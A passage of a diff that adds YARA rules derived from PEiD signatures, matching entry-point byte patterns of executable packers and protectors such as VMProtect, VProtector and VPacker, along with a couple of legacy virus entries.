+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03327_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03328_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03329_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 55 52 50 53 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03330_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03331_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03332_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03333_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 55 52 54 50 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03334_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03335_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? F7 55 00 66 8B 45 00 83 ED 02 66 21 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03336_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03337_VMProtect_V1_X____PolyTech_
+{
+    meta:
+        description = "[VMProtect V1.X -> PolyTech]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+    condition:
+        $a
+}
+
+rule PEiD_03338_VOB_ProtectCD_5_
+{
+    meta:
+        description = "[VOB ProtectCD 5]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03339_VOB_ProtectCD_
+{
+    meta:
+        description = "[VOB ProtectCD]"
+        ep_only = "true"
+    strings:
+        $a = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03340_VPacker____ttui___Sign_by_fly_
+{
+    meta:
+        description = "[VPacker -> ttui ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC 8B 55 14 83 C2 20 89 02 68 00 80 00 00 6A 00 8B 45 D4 50 FF 55 EC 8B 55 DC 8B 42 3C 03 45 DC 83 C0 04 8B D8 83 C3 14 8D 45 E0 50 6A 40 68 00 10 00 00 52 FF 55 E8 8D 43 60}
+    condition:
+        $a
+}
+
+rule PEiD_03341_VPacker____ttui_
+{
+    meta:
+        description = "[VPacker -> ttui]"
+        ep_only = "true"
+    strings:
+        $a = {89 C6 C7 45 E0 01 00 00 00 F7 03 00 00 FF FF 75 18 0F B7 03 50 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 EB 13 53 8B 45 D8 50 FF 55 F8 89 07 8B C3 E8 ?? FE FF FF 8B D8 83 C7 04 FF 45 E0 4E 75 C4 8B F3 83 3E 00 75 88 8B 45 E4 8B 40 10 03 45 DC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03342_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F}
+    condition:
+        $a
+}
+
+rule PEiD_03343_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03344_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C}
+    condition:
+        $a
+}
+
+rule PEiD_03345_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 47 44 49 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 53 6C 65 65 70 00 00 00 47 65 74 56 65 72 73 69 6F 6E 00 00 00 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 00 00 47 65 74 53 74 61 72 74 75 70 49 6E 66 6F 41 00 00 00 47 65 74 41 43 50 00 00 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 47 65 74 44 43 00 00 00 52 65 6C 65 61 73 65 44 43 00 00 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00 00 00 44 65 73 74 72 6F 79 57 69 6E 64 6F 77 00 00 00 53 65 74 50 69 78 65 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03346_VProtector____vcasm_
+{
+    meta:
+        description = "[VProtector -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 44 65 66 57 69 6E 64 6F 77 50 72 6F 63 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 67 69 73 74 65 72 43 6C 61 73 73 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 43 72 65 61 74 65 57 69 6E 64 6F 77 45 78 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 53 79 73 74 65 6D 4D 65 74 72 69 63 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 53 68 6F 77 57 69 6E 64 6F 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 47 65 74 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 52 65 6C 65 61 73 65 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 46 69 6E 64 57 69 6E 64 6F 77 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 65 74 4D 65 73 73 61 67 65 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_03347_VProtector_0_X_1_2X____vcasm_
+{
+    meta:
+        description = "[VProtector 0.X-1.2X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+    condition:
+        $a
+}
+rule PEiD_03348_VProtector_1_0X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.0X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03349_VProtector_1_0X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.0X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03350_VProtector_1_1A_1_2____vcasm_
+{
+    meta:
+        description = "[VProtector 1.1A-1.2 -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03351_VProtector_1_1X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.1X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03352_vprotector_1_2____vcasm__h__
+{
+    meta:
+        description = "[vprotector 1.2 -> vcasm (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00 00 00 00 EB E6 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00 58 EB 13 C7 83 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 AD CD 20 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 E8 08 00 00 00 0F 01 83 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03353_vprotector_1_2____vcasm_
+{
+    meta:
+        description = "[vprotector 1.2 -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+    condition:
+        $a
+}
+
+rule PEiD_03354_vprotector_1_3____vcasm_
+{
+    meta:
+        description = "[vprotector 1.3 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03355_VProtector_1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.3X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03356_VProtector_1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector 1.3X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03357_VProtector_V1_0__Build_2004_12_13_
+{
+    meta:
+        description = "[VProtector V1.0 [Build 2004.12.13]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03358_VProtector_V1_0A____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0A -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 8A 8E 40 00 68 C6 8E 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03359_VProtector_V1_0B____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0B -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03360_VProtector_V1_0D____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0D -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03361_VProtector_V1_0E____vcasm_
+{
+    meta:
+        description = "[VProtector V1.0E -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03362_VProtector_V1_1____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {B8 1A ED 41 00 B9 EC EB 41 00 50 51 E8 74 00 00 00 E8 51 6A 00 00 58 83 E8 10 B9 B3 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03363_VProtector_V1_1A____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1A -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03364_VProtector_V1_1A_V1_2____vcasm_
+{
+    meta:
+        description = "[VProtector V1.1A-V1.2 -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 76 63 61 73 6D 5F 70 72 6F 74 65 63 74 5F 32 30 30 35 5F 33 5F 31 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 F6 E8 10 00 00 00 8B 64 24 08 64 8F 05 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03365_VProtector_V1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector V1.3X -> vcasm]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03366_VProtector_V1_3X____vcasm_
+{
+    meta:
+        description = "[VProtector V1.3X -> vcasm]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03367_Vterminal_V1_0X____Lei_Peng_
+{
+    meta:
+        description = "[Vterminal V1.0X -> Lei Peng]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03368_Vx__ACME__Clonewar_Mutant__
+{
+    meta:
+        description = "[Vx: ACME (Clonewar Mutant)]"
+        ep_only = "true"
+    strings:
+        $a = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03369_Vx__ARCV_4_
+{
+    meta:
+        description = "[Vx: ARCV.4]"
+        ep_only = "true"
+    strings:
